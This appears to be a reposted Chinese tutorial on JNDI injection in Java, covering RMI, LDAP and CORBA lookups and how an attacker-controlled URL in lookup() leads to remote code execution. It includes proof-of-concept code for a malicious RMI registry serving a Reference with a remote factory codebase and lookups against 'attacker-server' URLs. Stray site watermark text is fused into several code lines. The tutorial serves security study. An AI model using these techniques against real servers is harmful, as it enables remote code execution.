1. JNDI
1.1 JNDI基本概念
JNDI(Java Naming and DIrecroty Interface),是java命名与目录接口,JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
//web.xml <Environment name="jndiName" value="jndiValue" type="java.lang.String" /> //index.jsp <% Context ctx=new InitialContext(); String testjndi=(String) ctx.lookup("java:comp/env/jndiName"); out.print(testjndi); %>
讯享网
1.2 RMI与JNDI

JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击
讯享网Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); //com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080"); Context ctx = new InitialContext(env); Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test") //将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定 ctx.bind("refObj", new RefObject()); //通过名称查找对象 ctx.lookup("refObj");
在JNDI服务中,RMI服务端除了直接绑定远程对象之外(JAVA序列化传输对象到远程服务器),还可以通过命名引用的方式通过绑定,由命名管理器进行解析的一个引用。引用由References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
Reference reference = new Reference("MyClass","MyClass",FactoryURL); ReferenceWrapper wrapper = new ReferenceWrapper(reference); ctx.bind("Foo", wrapper);
1.3 JNDI动态协议转换
JNDI除了与RMI搭配使用,还可以与LDAP、CORBA等,JNDI与LDAP配合使用方式如下:
讯享网Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); DirContext ctx = new InitialDirContext(env); //通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了 Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
这是手动设置服务工厂及PROVIDER_URL的方式,JNDI还提供协议的动态转换,即使我们不设置上述内容,如果ctx.lookup("rmi://attacker-server/refObj");执行便自动转换对应服务。
Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:9999"); Context ctx = new InitialContext(env); String name = "ldap://attacker-server/cn=bar,dc=test,dc=org"; //通过名称查找对象 ctx.lookup(name);
此处的lookup中的参数如果可控就可以根据攻击者提供的URL进行动态转换。
1.4 JDNI注入
JNDI注入是BlackHat 2016(USA)@pentester 的一个议题"A Journey From JNDI LDAP Manipulation To RCE"提出的。
根据上述demo可以发现JNDI注入流程是(以RMI为例),如果目标代码中调用了InitialContext.lookup(URI),且URI为用户可控->攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name->攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类->目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;->攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果。调用链为:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()

JNDI主要的攻击向量有:RMI、JNDI Reference、Remote Object、LDAP、Serialized Object、JNDI Reference、Remote Location、CORBA、IOR

(1)JNDI Reference+RMI
讯享网public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(9999); // Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名 Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); registry.bind("refObj", refObjWrapper); } }
public class RMIClient1 { public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { Properties env = new Properties(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:9999"); Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:9999/refObj"); } }
当运行lookup函数时,RegistryContext.decodeObject() 会被调用,然后调用NamingManager.getObjectInstance() 进行实例化,最终返回Reference,然后getObjectFactoryFromReference() 会从Reference中得到实例化的类。攻击者可以提供自己的工厂类,一旦实例化就会运行payload。
整个攻击过程为:攻击者为JNDI lookup提供了一个绝对的RMI URL,然后服务器连接到攻击者控制的RMI注册表,该注册表将返回恶意的JNDI引用,服务器解码JNDI引用后从攻击者控制的服务器获取工厂类,进行实例化的时候payload执行。所以此攻击方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等调用InitialContext.lookup()的情况。
(2)JNDI+LDAP
Naming Manager在JAVA对象(JAVA序列化、JNDI references等)解析运行时可能造成RCE,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要区别是,对于前者,攻击者就可以使用自己的LDAP服务器,对于后者,攻击者需要攻击LDAP服务器条目,与应用程序交互时等待期返回被攻击条目的属性。
攻击过程为:攻击者为JND lookup提供了一个绝对LDAP URL,服务器连接到攻击者控制的LDAP服务器,该服务器返回恶意的JNDI引用。服务器解码JNDI引用从攻击者控制的服务器获取工厂类,实例化工厂类时payload得以执行。
LDAP Entry Poisoning
LDAP攻击主要针对于属性而非对象,例如,用lookup方法查找对象时,search()方法是在检索LDAP条目的所需属性(例如:用户名、密码、电子邮件等),当只请求属性时,就不会有可能危及服务器的Java对象解码。然而,如果应用程序执行搜索操作,并将returnObjFlag设置为true,那么控制LDAP响应的攻击者将能够在应用服务器上执行任意命令。
(3)JNDI+CORBA
org.omg.CORBA.Object read_Object会对IOR进行解析
讯享网public org.omg.CORBA.Object read_Object(Class clz) { // In any case, we must first read the IOR. IOR ior = IORFactories.makeIOR(parent); if (ior.isNil()) return null; PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory(); String codeBase = ior.getProfile().getCodebase(); <1> PresentationManager.StubFactory stubFactory = null; if (clz == null) { RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId()); <2> String className = rid.getClassName(); boolean isIDLInterface = rid.isIDLType(); if (className == null || className.equals( "" )) stubFactory = null; else try { <3> stubFactory = sff.createStubFactory(className, isIDLInterface, codeBase, (Class)null, (ClassLoader)null); } catch (Exception exc) { stubFactory = null; } else if (StubAdapter.isStubClass( clz )) { stubFactory = PresentationDefaults.makeStaticStubFactory(clz); } else { // clz is an interface class boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ; stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ; } return internalIORToObject( ior, stubFactory, orb ) ; }
攻击者可以手工创建一个IOR,该IOR指定在他控制下的代码库位置<1>和IDL接口<2>,即存根工厂的位置。然后,它可以将运行有效负载的存根工厂类放在其构造函数中,并在目标服务器<3>中实例化存根,从而成功地运行payload
攻击过程:攻击者为JNDI lookup提供了一个绝对的IIOP URL。服务器连接到攻击者控制的ORB,该ORB将返回恶意IOR,然后服务器解码IOR从攻击者控制的服务器获取存根工厂类。进行实例化的同时payload执行。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/58515.html